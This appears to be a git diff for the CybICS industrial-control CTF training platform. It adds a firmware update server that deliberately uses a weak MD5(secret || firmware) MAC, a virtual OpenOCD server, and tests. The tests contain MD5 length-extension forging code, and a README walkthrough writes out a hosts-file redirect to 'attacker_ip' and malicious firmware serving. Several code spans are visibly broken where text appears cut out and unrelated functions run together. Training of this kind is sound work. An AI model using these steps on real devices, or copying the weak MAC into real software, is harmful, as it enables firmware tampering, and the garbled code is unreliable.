https://github.com/zephyrproject-rtos/sdk-ng/releases/download/v${ZEPHYR_SDK_VERSION}/zephyr-sdk-${ZEPHYR_SDK_VERSION}_linux-x86_64_minimal.tar.xz -O /tmp/zephyr-sdk.tar.xz && \ + tar -xf /tmp/zephyr-sdk.tar.xz -C /home/docker && \ + ${ZEPHYR_SDK_INSTALL_DIR}/setup.sh -t arm-zephyr-eabi && \ + rm -f /tmp/zephyr-sdk.tar.xz + +# Copy application sources AFTER the SDK layers so they stay cached +COPY --chown=docker:docker src/ app/src/ +COPY --chown=docker:docker proto/ app/proto/ +COPY --chown=docker:docker boards/ app/boards/ +COPY --chown=docker:docker CMakeLists.txt app/CMakeLists.txt +COPY --chown=docker:docker prj.conf app/prj.conf + +# Build firmware for the STM32 Nucleo-G070RB board +RUN west build -b nucleo_g070rb app --pristine + +# ─── Stage 2: Runtime image ─────────────────────────────────────────────────── FROM debian:12-slim # Install OpenOCD and tools for flash verification RUN apt-get update && apt-get install -y \ openocd \ binutils \ + python3 \ && rm -rf /var/lib/apt/lists/* WORKDIR /CybICS -# Copy the built firmware binary -COPY build/zephyr/zephyr.bin ./CybICS.bin -COPY build/zephyr/zephyr.elf ./CybICS.elf +# Copy built firmware artifacts from the builder stage (no pre-built files needed) +COPY --from=builder /home/docker/zephyrproject/build/zephyr/zephyr.bin ./CybICS.bin +COPY --from=builder /home/docker/zephyrproject/build/zephyr/zephyr.elf ./CybICS.elf # Copy OpenOCD configuration and flash script COPY openocd_rpi.cfg ./ +COPY openocd_virtual_server.py ./ COPY flash_if_needed.sh ./ -RUN chmod +x /CybICS/flash_if_needed.sh +RUN chmod +x /CybICS/flash_if_needed.sh /CybICS/openocd_virtual_server.py # Expose OpenOCD ports EXPOSE 3333 4444 diff --git a/software/stm32/flash_if_needed.sh b/software/stm32/flash_if_needed.sh index d0ffbfa9..027db9e6 100755 --- a/software/stm32/flash_if_needed.sh +++ b/software/stm32/flash_if_needed.sh @@ -7,10 +7,31 @@ ELF_FILE="/CybICS/CybICS.elf" BIN_FILE="/CybICS/CybICS.bin" -OPENOCD_CFG="/CybICS/openocd_rpi.cfg" +OPENOCD_MODE="${OPENOCD_MODE:-rpi}" +OPENOCD_CFG_RPI="/CybICS/openocd_rpi.cfg" FLASH_BASE="0x08000000" +VIRTUAL_FLASH_DIR="/opt/cybics/firmware" +VIRTUAL_CURRENT_FW="${VIRTUAL_FLASH_DIR}/current.bin" echo "=== CybICS Firmware Flash Check ===" +echo "OpenOCD mode: ${OPENOCD_MODE}" + +if [ "${OPENOCD_MODE}" = "virtual" ]; then + mkdir -p "${VIRTUAL_FLASH_DIR}" + + if [ ! -f "${VIRTUAL_CURRENT_FW}" ]; then + echo "Initializing virtual flash with base firmware" + cp "${BIN_FILE}" "${VIRTUAL_CURRENT_FW}" + elif cmp -s "${BIN_FILE}" "${VIRTUAL_CURRENT_FW}"; then + echo "Skipping base firmware load, virtual flash is up to date" + else + echo "Updating virtual flash with base firmware" + cp "${BIN_FILE}" "${VIRTUAL_CURRENT_FW}" + fi + + echo "Starting virtual OpenOCD-compatible telnet server..." + exec python3 /CybICS/openocd_virtual_server.py +fi # Parse ELF LOAD segments to get actual programmed regions # Filter only flash segments (0x08xxxxxx) @@ -48,7 +69,7 @@ else BIN_EXTRACT="/tmp/bin_seg${SEGMENT_NUM}.bin" # Dump this segment from flash - DUMP_OUTPUT=$(openocd -f "$OPENOCD_CFG" -c " + DUMP_OUTPUT=$(openocd -f "$OPENOCD_CFG_RPI" -c " init halt dump_image $FLASH_DUMP $VADDR $SIZE_DEC @@ -85,7 +106,7 @@ if [ "$NEEDS_FLASH" = "no" ]; then else echo "Flashing firmware..." # Use BIN file with explicit erase to ensure padding bytes are written as 0xFF - if ! openocd -f "$OPENOCD_CFG" -c "program $BIN_FILE verify reset exit $FLASH_BASE"; then + if ! openocd -f "$OPENOCD_CFG_RPI" -c "program $BIN_FILE verify reset exit $FLASH_BASE"; then echo "ERROR: Flashing failed!" exit 1 fi @@ -94,4 +115,4 @@ else fi echo "Starting OpenOCD GDB server..." -exec openocd -f "$OPENOCD_CFG" +exec openocd -f "$OPENOCD_CFG_RPI" diff --git a/software/stm32/openocd_virtual_server.py b/software/stm32/openocd_virtual_server.py new file mode 100644 index 00000000..c6bbb235 --- /dev/null +++ b/software/stm32/openocd_virtual_server.py @@ -0,0 +1,65 @@ +#!/usr/bin/env python3 +""" +Minimal OpenOCD-compatible telnet server for virtual STM32 mode. + +Implements only the subset used by firmware-updater: +- program verify reset 0x08000000 +- exit +""" + +import os +import shutil +import socketserver + + +FLASH_DIR = "/opt/cybics/firmware" +CURRENT_FW = os.path.join(FLASH_DIR, "current.bin") + + +class OpenOCDHandler(socketserver.StreamRequestHandler): + def handle(self) -> None: + self.wfile.write(b"Open On-Chip Debugger 0.12.0 (virtual)\n> ") + self.wfile.flush() + while True: + line = self.rfile.readline() + if not line: + break + + cmd = line.decode(errors="ignore").strip() + if not cmd: + self.wfile.write(b"> ") + self.wfile.flush() + continue + + if cmd.startswith("program "): + parts = cmd.split() + if len(parts) < 2: + self.wfile.write(b"Error: missing firmware path\n> ") + self.wfile.flush() + continue + + source = parts[1] + try: + os.makedirs(FLASH_DIR, exist_ok=True) + shutil.copyfile(source, CURRENT_FW) + except OSError as exc: + self.wfile.write(f"Error: {exc}\n> ".encode()) + self.wfile.flush() + continue + + self.wfile.write(b"** Programming Finished **\nverified\n> ") + self.wfile.flush() + continue + + if cmd == "exit": + self.wfile.write(b"shutdown command invoked\n") + self.wfile.flush() + break + + self.wfile.write(b"Error: unsupported command\n> ") + self.wfile.flush() + + +if __name__ == "__main__": + with socketserver.ThreadingTCPServer(("0.0.0.0", 4444), OpenOCDHandler) as server: + server.serve_forever() diff --git a/software/update-server/Dockerfile b/software/update-server/Dockerfile new file mode 100644 index 00000000..dcd31fc4 --- /dev/null +++ b/software/update-server/Dockerfile @@ -0,0 +1,12 @@ +FROM python:3.12-slim + +WORKDIR /opt/cybics/update-server + +COPY requirements.txt . +RUN pip install --no-cache-dir -r requirements.txt + +COPY app.py . + +EXPOSE 6689 + +CMD ["uvicorn", "app:create_app", "--factory", "--host", "0.0.0.0", "--port", "6689"] diff --git a/software/update-server/app.py b/software/update-server/app.py new file mode 100644 index 00000000..e341537b --- /dev/null +++ b/software/update-server/app.py @@ -0,0 +1,103 @@ +import os +from pathlib import Path + +from fastapi import FastAPI, HTTPException, Response +from pydantic import BaseModel, Field + + +class LatestFirmwareResponse(BaseModel): + version: str + mac: str = Field( + description="Hex-encoded MD5(secret || firmware) value for the firmware binary." + ) + url: str = Field(description="Relative download URL for the latest firmware binary.") + + +def _get_firmware_version() -> str: + return os.environ.get("FIRMWARE_VERSION", "1.2.1") + + +def _get_firmware_mac() -> str: + mac = os.environ.get("FIRMWARE_MAC", "").strip() + if not mac: + raise HTTPException(status_code=500, detail="FIRMWARE_MAC is not configured") + return mac + + +def _get_firmware_path() -> Path: + return Path( + os.environ.get( + "FIRMWARE_PATH", "/opt/cybics/update-server/firmware/firmware.bin" + ) + ) + + +def create_app() -> FastAPI: + app = FastAPI( + title="CybICS Firmware Update Server", + version="1.0.0", + description=( + "Minimal firmware update server for the CybICS CTF scenario. " + "Firmware authenticity is represented as a hex-encoded " + "MD5(secret || firmware) MAC." + ), + ) + + @app.get( + "/api/v1/firmware/latest", + response_model=LatestFirmwareResponse, + tags=["firmware"], + ) + def get_latest_firmware() -> LatestFirmwareResponse: + version = _get_firmware_version() + return LatestFirmwareResponse( + version=version, + mac=_get_firmware_mac(), + url=f"/api/v1/firmware/download/{version}", + ) + + @app.get( + "/api/v1/firmware/download/{version}", + response_class=Response, + tags=["firmware"], + responses={ + 200: { + "description": "Firmware binary", + "content": { + "application/octet-stream": { + "schema": {"type": "string", "format": "binary"} + } + }, + "headers": { + "X-Firmware-MAC": { + "description": ( + "Hex-encoded MD5(secret || firmware) value for the " + "returned firmware binary." + ), + "schema": {"type": "string"}, + } + }, + }, + 404: {"description": "Firmware version not found"}, + 500: {"description": "Firmware file or MAC is not configured"}, + }, + ) + def download_firmware(version: str) -> Response: + expected_version = _get_firmware_version() + if version != expected_version: + raise HTTPException(status_code=404, detail="Firmware version not found") + + firmware_path = _get_firmware_path() + if not firmware_path.is_file(): + raise HTTPException(status_code=500, detail="Firmware file is not available") + + return Response( + content=firmware_path.read_bytes(), + media_type="application/octet-stream", + headers={"X-Firmware-MAC": _get_firmware_mac()}, + ) + + return app + + +app = create_app() diff --git a/software/update-server/requirements.txt b/software/update-server/requirements.txt new file mode 100644 index 00000000..1c0b0617 --- /dev/null +++ b/software/update-server/requirements.txt @@ -0,0 +1,2 @@ +fastapi==0.117.1 +uvicorn==0.37.0 diff --git a/tests/requirements.txt b/tests/requirements.txt index 48c53a23..0d2e85cc 100644 --- a/tests/requirements.txt +++ b/tests/requirements.txt @@ -5,3 +5,4 @@ pymodbus==3.11.3 asyncua==1.1.8 requests==2.33.0 python-dotenv==1.0.1 +pyyaml>=6.0 diff --git a/tests/test_firmware_updater.py b/tests/test_firmware_updater.py new file mode 100644 index 00000000..821a45ff --- /dev/null +++ b/tests/test_firmware_updater.py @@ -0,0 +1,551 @@ +""" +CybICS Firmware Updater Test Suite + +Tests the firmware-updater service for the CTF scenario. + +Includes: +- Unit tests for MAC verification (the intentionally weak MD5 scheme) +- Unit tests for the poll loop (mocked HTTP server + mocked OpenOCD socket) +- Docker image build and container startup tests (virtual environment) +""" + +import hashlib +import os +import socket +import socketserver +import struct +import sys +import tempfile +import threading +import time +from http.server import BaseHTTPRequestHandler, HTTPServer +from unittest.mock import MagicMock, patch + +import pytest +import requests +import yaml + +# Allow importing the daemon without a running config file +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "software", "firmware-updater")) +from update_daemon import ( # noqa: E402 + flash_via_openocd, + poll_for_update, + save_firmware, + verify_mac, +) + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + +SECRET = b"mysecretkey12345" # 16 bytes – matches the CTF known secret length +FIRMWARE = b"\x00\x01\x02\x03" * 64 # 256 bytes of fake firmware +INVALID_MAC = "deadbeef" * 4 # valid-length hex string that won't match any real MAC + + +def make_mac(firmware: bytes, secret: bytes = SECRET) -> str: + return hashlib.md5(secret + firmware).hexdigest() + + +# --------------------------------------------------------------------------- +# Pure-Python MD5 Length Extension +# --------------------------------------------------------------------------- + +import math as _math + +_MD5_S = [ + 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, + 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, + 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, + 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, +] +_MD5_K = [int(abs(_math.sin(i + 1)) * (2 ** 32)) & 0xFFFFFFFF for i in range(64)] + + +def _md5_compress(state: tuple, block: bytes) -> tuple: + """Apply one 512-bit MD5 compression round to a 128-bit state.""" + assert len(block) == 64 + M = list(struct.unpack("<16I", block)) + a, b, c, d = state + for i in range(64): + if i < 16: + F, g = (b & c) | (~b & d), i + elif i < 32: + F, g = (d & b) | (~d & c), (5 * i + 1) % 16 + elif i < 48: + F, g = b ^ c ^ d, (3 * i + 5) % 16 + else: + F, g = c ^ (b | ~d), (7 * i) % 16 + F = (F + a + _MD5_K[i] + M[g]) & 0xFFFFFFFF + a = d + d = c + c = b + b = (b + ((F << _MD5_S[i]) | (F >> (32 - _MD5_S[i])))) & 0xFFFFFFFF + return ( + (state[0] + a) & 0xFFFFFFFF, + (state[1] + b) & 0xFFFFFFFF, + (state[2] + c) & 0xFFFFFFFF, + (state[3] + d) & 0xFFFFFFFF, + ) + + +def _md5_length_extend(original_mac: str, append_data: bytes, original_total_len: int) -> str: + """Compute MD5(secret || msg || padding || append_data) without knowing the secret. + + Implements the MD5 Length Extension Attack using a pure-Python MD5 compression + function. The ``original_mac`` provides the internal state after hashing + (secret || msg); we continue from that state to hash ``append_data``. + + This is exactly what HashPump does under the hood. The secret is never used. + + Args: + original_mac: hex digest of MD5(secret || msg), captured from network. + append_data: the malicious payload to append. + original_total_len: len(secret) + len(msg), known from the CTF hint. + + Returns: + The forged MAC as a hex string. + """ + # MD5 padding appended after (secret || msg) + pad_len = (55 - original_total_len % 64) % 64 + 1 + padding = b"\x80" + b"\x00" * (pad_len - 1) + struct.pack(" dict: + """Return a minimal config dict using temp paths.""" + return { + "update_server": { + "url": "http://localhost:9999", + "endpoint": "/api/v1/firmware/latest", + "poll_interval": 30, + }, + "firmware": { + "current": os.path.join(tmp_path, "current.bin"), + "pending": os.path.join(tmp_path, "pending.bin"), + }, + "openocd": { + "host": "127.0.0.1", + "telnet_port": 14444, + }, + "security": { + "key_path": os.path.join(tmp_path, "update.key"), + "algorithm": "md5", + "secret_length": 16, + }, + } + + +# --------------------------------------------------------------------------- +# Unit Tests – MAC Verification +# --------------------------------------------------------------------------- + + +class TestMacVerification: + """Validates the MD5(secret || firmware) MAC scheme.""" + + def test_valid_mac_passes(self): + """Correct MAC for the firmware must be accepted.""" + mac = make_mac(FIRMWARE) + assert verify_mac(FIRMWARE, mac, SECRET) is True + + def test_wrong_mac_rejected(self): + """A tampered MAC must be rejected.""" + assert verify_mac(FIRMWARE, INVALID_MAC, SECRET) is False + + def test_modified_firmware_rejected(self): + """Firmware modified after MAC calculation must be rejected.""" + mac = make_mac(FIRMWARE) + tampered = FIRMWARE + b"\xff" + assert verify_mac(tampered, mac, SECRET) is False + + def test_wrong_secret_rejected(self): + """MAC computed with a different secret must be rejected.""" + mac = make_mac(FIRMWARE, secret=b"wrongsecretvalue") + assert verify_mac(FIRMWARE, mac, SECRET) is False + + def test_length_extension_attack_succeeds(self): + """ + Demonstrate that the weak MAC scheme is exploitable. + + A Length Extension Attack appends data to the original message and + constructs a valid MAC without knowing the secret, using only the + original MAC and the known secret length. + + This test uses a pure-Python reimplementation of the MD5 length + extension to prove the vulnerability works – the same thing a CTF + participant would do with HashPump. + """ + payload = b"MALICIOUS_PAYLOAD" + secret_len = 16 # known to the attacker (provided as a CTF hint) + original_mac = make_mac(FIRMWARE) # MD5(secret || firmware) – attacker captured this + original_total_len = secret_len + len(FIRMWARE) + + # --- Step 1: compute MD5 padding for (secret || firmware) --- + # MD5 pads to a multiple of 512 bits: 0x80 + zeros + 64-bit little-endian bit length + pad_len = (55 - original_total_len % 64) % 64 + 1 + padding = b"\x80" + b"\x00" * (pad_len - 1) + struct.pack(" ") + data = b"" + while True: + chunk = self.request.recv(256) + if not chunk: + break + data += chunk + if b"program" in data: + # Simulate successful flash output + self.request.sendall( + b"** Programming Started **\r\n" + b"** Programming Finished **\r\n" + b"verified OK\r\n> " + ) + data = b"" + if b"exit" in data: + break + + +class TestFlashViaOpenOCD: + @pytest.fixture + def mock_openocd_server(self): + server = socketserver.TCPServer(("127.0.0.1", 0), _MockOpenOCDHandler) + server.allow_reuse_address = True + port = server.server_address[1] + thread = threading.Thread(target=server.serve_forever) + thread.daemon = True + thread.start() + yield port + server.shutdown() + + def test_flash_success(self, mock_openocd_server, tmp_path): + fw_path = str(tmp_path / "fw.bin") + with open(fw_path, "wb") as f: + f.write(FIRMWARE) + result = flash_via_openocd(fw_path, "127.0.0.1", mock_openocd_server) + assert result is True + + def test_flash_fails_when_no_server(self, tmp_path): + fw_path = str(tmp_path / "fw.bin") + with open(fw_path, "wb") as f: + f.write(FIRMWARE) + # Port 1 is reserved and should refuse connection + result = flash_via_openocd(fw_path, "127.0.0.1", 1) + assert result is False + + +# --------------------------------------------------------------------------- +# Unit Tests – poll_for_update (mocked HTTP + mocked OpenOCD) +# --------------------------------------------------------------------------- + + +class _MockUpdateServerHandler(BaseHTTPRequestHandler): + """HTTP handler returning a firmware update with a valid MAC.""" + + firmware = FIRMWARE + secret = SECRET + version = "1.2.1" + + def log_message(self, *args, **kwargs): # silence access logs + pass + + def do_GET(self): + if self.path == "/api/v1/firmware/latest": + mac = make_mac(self.firmware, self.secret) + body = ( + f'{{"version": "{self.version}", "mac": "{mac}", ' + f'"url": "/api/v1/firmware/download/{self.version}"}}' + ).encode() + self.send_response(200) + self.send_header("Content-Type", "application/json") + self.send_header("Content-Length", str(len(body))) + self.end_headers() + self.wfile.write(body) + elif self.path.startswith("/api/v1/firmware/download/"): + mac = make_mac(self.firmware, self.secret) + self.send_response(200) + self.send_header("Content-Type", "application/octet-stream") + self.send_header("Content-Length", str(len(self.firmware))) + self.send_header("X-Firmware-MAC", mac) + self.end_headers() + self.wfile.write(self.firmware) + else: + self.send_response(404) + self.end_headers() + + +class TestPollForUpdate: + @pytest.fixture + def http_server(self): + server = HTTPServer(("127.0.0.1", 0), _MockUpdateServerHandler) + port = server.server_address[1] + thread = threading.Thread(target=server.serve_forever) + thread.daemon = True + thread.start() + yield port + server.shutdown() + + @pytest.fixture + def mock_openocd(self): + server = socketserver.TCPServer(("127.0.0.1", 0), _MockOpenOCDHandler) + port = server.server_address[1] + thread = threading.Thread(target=server.serve_forever) + thread.daemon = True + thread.start() + yield port + server.shutdown() + + def test_poll_downloads_and_flashes(self, http_server, mock_openocd, tmp_path): + cfg = make_config(str(tmp_path)) + cfg["update_server"]["url"] = f"http://127.0.0.1:{http_server}" + cfg["openocd"]["telnet_port"] = mock_openocd + + result = poll_for_update(cfg, SECRET) + + assert result is True + assert os.path.exists(cfg["firmware"]["current"]) + with open(cfg["firmware"]["current"], "rb") as f: + assert f.read() == FIRMWARE + + def test_poll_404_returns_false(self, tmp_path): + """When the server returns 404 (normal operation), polling returns False.""" + server = HTTPServer(("127.0.0.1", 0), _MockUpdateServerHandler) + port = server.server_address[1] + thread = threading.Thread(target=server.serve_forever) + thread.daemon = True + thread.start() + + cfg = make_config(str(tmp_path)) + cfg["update_server"]["url"] = f"http://127.0.0.1:{port}" + cfg["update_server"]["endpoint"] = "/nonexistent" + + result = poll_for_update(cfg, SECRET) + server.shutdown() + assert result is False + + def test_poll_bad_mac_rejected(self, tmp_path): + """A firmware with an invalid MAC must not be flashed.""" + class BadMacHandler(_MockUpdateServerHandler): + def do_GET(self): + if self.path.startswith("/api/v1/firmware/download/"): + self.send_response(200) + self.send_header("Content-Type", "application/octet-stream") + self.send_header("Content-Length", str(len(self.firmware))) + # Deliberately wrong MAC + self.send_header("X-Firmware-MAC", INVALID_MAC) + self.end_headers() + self.wfile.write(self.firmware) + else: + super().do_GET() + + server = HTTPServer(("127.0.0.1", 0), BadMacHandler) + port = server.server_address[1] + thread = threading.Thread(target=server.serve_forever) + thread.daemon = True + thread.start() + + cfg = make_config(str(tmp_path)) + cfg["update_server"]["url"] = f"http://127.0.0.1:{port}" + + result = poll_for_update(cfg, SECRET) + server.shutdown() + assert result is False + assert not os.path.exists(cfg["firmware"]["current"]) + + def test_poll_no_server_returns_false(self, tmp_path): + """When the update server is unreachable, polling must return False gracefully.""" + cfg = make_config(str(tmp_path)) + cfg["update_server"]["url"] = "http://127.0.0.1:19999" + result = poll_for_update(cfg, SECRET) + assert result is False + + +# --------------------------------------------------------------------------- +# Docker Integration Tests (virtual environment) +# --------------------------------------------------------------------------- + + +DOCKER_IMAGE = "cybics-firmware-updater:test" + + +def _has_docker() -> bool: + import subprocess + try: + result = subprocess.run( + ["docker", "info"], capture_output=True, timeout=5 + ) + return result.returncode == 0 + except (FileNotFoundError, subprocess.TimeoutExpired): + return False + + +requires_docker = pytest.mark.skipif( + not _has_docker(), reason="Docker not available" +) + + +@requires_docker +class TestDockerImage: + """Tests that the firmware-updater Docker image is functional.""" + + def test_image_exists_or_buildable(self): + """The Docker image must either already exist or build without errors.""" + import subprocess + + result = subprocess.run( + ["docker", "image", "inspect", DOCKER_IMAGE], + capture_output=True, + ) + if result.returncode != 0: + # Not cached – build it + repo_root = os.path.join( + os.path.dirname(__file__), "..", "software", "firmware-updater" + ) + build = subprocess.run( + ["docker", "build", "-t", DOCKER_IMAGE, repo_root], + capture_output=True, + timeout=300, + ) + assert build.returncode == 0, ( + f"Docker build failed:\n{build.stderr.decode()}" + ) + + def test_entrypoint_generates_key_and_exits_gracefully(self, tmp_path): + """Container must generate the MAC key on first start and then attempt to + start the daemon (which will fail because there is no config at the + real path – we expect a non-zero exit with a recognisable error, not a + crash from a missing entrypoint or missing dependency). + """ + import subprocess + + # We override CONFIG_PATH to a non-existent file so the daemon + # exits quickly. The entrypoint still runs and generates the key + # in the temp dir before the daemon errors out. + key_dir = str(tmp_path / "keys") + os.makedirs(key_dir) + + result = subprocess.run( + [ + "docker", "run", "--rm", + "-e", "CONFIG_PATH=/nonexistent/config.yaml", + "-v", f"{key_dir}:/opt/cybics/keys", + DOCKER_IMAGE, + ], + capture_output=True, + timeout=30, + ) + output = result.stdout.decode() + result.stderr.decode() + + # Entrypoint must have generated the key + key_file = os.path.join(key_dir, "update.key") + assert os.path.exists(key_file), ( + f"MAC key was not generated. Container output:\n{output}" + ) + assert os.path.getsize(key_file) == 16, ( + f"MAC key should be 16 bytes, got {os.path.getsize(key_file)}" + ) + + # Daemon should fail due to missing config, not crash in entrypoint + assert "Generating 16-byte MAC secret key" in output or os.path.exists(key_file), ( + f"Unexpected container output:\n{output}" + ) + + def test_generate_mac_script_runs_in_container(self, tmp_path): + """The generate_mac.py helper must produce a valid hex digest.""" + import subprocess + + # Write a firmware and key file into the temp dir + fw_path = str(tmp_path / "fw.bin") + key_path = str(tmp_path / "update.key") + with open(fw_path, "wb") as f: + f.write(FIRMWARE) + with open(key_path, "wb") as f: + f.write(SECRET) + + result = subprocess.run( + [ + "docker", "run", "--rm", + "--entrypoint", "python3", + "-v", f"{tmp_path}:/data", + DOCKER_IMAGE, + "/opt/cybics/update-service/generate_mac.py", + "/data/fw.bin", "/data/update.key", + ], + capture_output=True, + timeout=30, + ) + assert result.returncode == 0, ( + f"generate_mac.py failed:\n{result.stderr.decode()}" + ) + computed_mac = result.stdout.decode().strip() + expected_mac = make_mac(FIRMWARE) + assert computed_mac == expected_mac, ( + f"MAC mismatch: computed={computed_mac}, expected={expected_mac}" + ) diff --git a/training/time-travelers-update/README.md b/training/time-travelers-update/README.md new file mode 100644 index 00000000..b7de19d3 --- /dev/null +++ b/training/time-travelers-update/README.md @@ -0,0 +1,303 @@ +# 🔧 Malicious Firmware Update Injection + +> **MITRE ATT&CK for ICS:** `Impair Process Control` | `Modify Firmware` | `Unauthorized Command Message` + +--- + +## 📋 Overview +Modern industrial devices and IoT gateways often rely on remote firmware updates to fix bugs and deploy new features. However, insecure update mechanisms can become a critical attack vector. + +In this challenge, you will: +- Compromise a gateway device +- Analyze internal network traffic +- Identify an update mechanism +- Manipulate firmware +- Inject a malicious update + +Your goal is to **force the device to install a malicious firmware and trigger the flag**. + +--- + +## 🎯 Objectives +- Reverse engineer a binary to gain access to the gateway +- Pivot into the internal network +- Identify the firmware update process +- Modify firmware and bypass update validation +- Successfully deploy a malicious firmware + +--- + +## 🔄 Attack Flow +``` +Attacker → Gateway → Internal Device → Update Server + + | | | | + | RE | | | + |-------->| | | + | | SSH Access | | + | |------------>| | + | | Sniff Traffic | + | |------------>| | + | | | Request FW | + | | |--------------->| + | | Manipulate Update Source | + | |----------------------------->| + | | | Install FW | + | | |--------------->| + | | | Trigger Flag | +``` + +--- + +## 🧠 Challenge Description + +You are given access to a **gateway binary** extracted from a router. + +Your task is to: +1. Analyze the binary to retrieve credentials +2. Access the gateway system +3. Monitor internal network traffic +4. Identify how firmware updates are retrieved +5. Replace the legitimate firmware with a malicious version +6. Trigger the flag through firmware execution + +--- + +## 🧩 Phase 1: Gateway Compromise + +### 🔍 Task +Analyze the provided binary: +``` +gateway_service +``` + +### 🎯 Goal +Find credentials or hidden functionality to access the gateway. + +### 💡 Hint +Look for: +- Hardcoded strings +- Credentials +- Suspicious functions + +--- + +## 🌐 Phase 2: Network Analysis + +Once you have access to the gateway: + +### 🔍 Task +- Monitor internal traffic +- Identify periodic connections + +### 🎯 Goal +Find the firmware update endpoint + +### 💡 Hint +Use: +```bash +tcpdump +wireshark +netstat +``` + +Look for: +- HTTP requests +- Repeated connections +- Firmware downloads + +--- + +## 🔄 Phase 3: Update Mechanism Analysis + +### 🔍 Task +Deep dive into the update server behavior after you discover its host. + +- Interact with the server directly +- Map reachable web/API paths +- Reconstruct the firmware download flow end-to-end + +### 🎯 Goal +Build a clear model of how a device asks for, receives, and validates firmware from the update server. + +### 🎯 Questions to answer +- Which endpoint starts the update check? +- Which request fields influence version selection? +- Which endpoint returns metadata vs. the binary itself? +- What headers, status codes, and content types are used? +- Is there any signature/hash/integrity mechanism in the exchange? + +### 💡 Hint +After identifying the update host, do endpoint discovery instead of guessing paths manually. + +Use a content-discovery wordlist (for example from SecLists): +`https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content` + +Start with focused fuzzing and inspect interesting responses: +```bash +export UPDATE_HOST="http://" +ffuf -u "$UPDATE_HOST/FUZZ" -w /path/to/SecLists/Discovery/Web-Content/combined.txt -e .json -v +``` + +Prioritize findings that look like: +- API schemas or interactive docs +- Version/check/update routes +- Download endpoints returning `application/octet-stream` or similar + +--- + +## 🧱 Phase 4: Firmware Analysis + +You obtain a firmware file: +``` +firmware.bin +``` + +### 🔍 Task +- Extract firmware +- Analyze structure +- Modify contents + +### 💡 Hint +Use: +```bash +binwalk firmware.bin +``` + +Look for: +- filesystem +- scripts +- init files + +--- + +## 💣 Phase 5: Malicious Firmware Injection + +### 🔍 Task +Modify the firmware to execute your own logic. + +### 🎯 Goal +Trigger the flag after installation. + +### 💡 Possible approaches +- Modify init scripts +- Add new executable +- Change configuration + +--- + +## 🌐 Phase 6: Update Hijacking + +### 🔍 Task +Force the device to download your firmware. + +### 🎯 Possible methods +- Modify DNS / hosts +- Redirect traffic +- Replace update server + +--- + +## 🚀 Expected Outcome + +If successful: +- The device installs your firmware +- Your payload executes +- The flag is generated + +--- + +## 🏁 Flag Condition + +The flag is triggered when: +- A modified firmware is successfully installed +- A specific condition inside the firmware is met + +--- + +## 🚩 Flag +``` +CybICS(malicious_firmware_injected) +``` + +--- + +## 🛡️ Security Insights + +This challenge demonstrates real-world weaknesses: + +### ❌ Common Issues +- No firmware signature validation +- Insecure update channels (HTTP) +- Trusting internal network blindly + +### ✅ Secure Design Would Include +- Signed firmware (PKI) +- Secure boot +- TLS with certificate validation +- Update integrity verification + +--- + +## 📚 MITRE ATT&CK Mapping + +| Tactic | Technique | Description | +|--------|----------|-------------| +| Impair Process Control | Modify Firmware | Malicious firmware injection | +| Initial Access | Valid Accounts | Credentials extracted from binary | +| Lateral Movement | Internal Pivoting | Access to internal network | +| Command and Control | Application Layer Protocol | HTTP-based update | + +--- + +## 🔍 Solution (Spoiler) + +
+ Click to expand + +### 🧠 Steps + +1. Reverse engineer binary: +```bash +strings gateway_service +``` + +2. Extract credentials + +3. SSH into gateway + +4. Monitor traffic: +```bash +tcpdump -i eth1 +``` + +5. Identify update URL: +``` +http://updateserver/firmware.bin +``` + +6. Extract firmware: +```bash +binwalk -e firmware.bin +``` + +7. Modify init script: +```bash +echo "echo CybICS(malicious_firmware_injected) > /flag.txt" >> init.sh +``` + +8. Repack firmware + +9. Redirect update server: +```bash +echo "attacker_ip updateserver" >> /etc/hosts +``` + +10. Serve malicious firmware: +```bash +python3 -m http.server 80 +``` + +11. Wait for update → flag triggered + +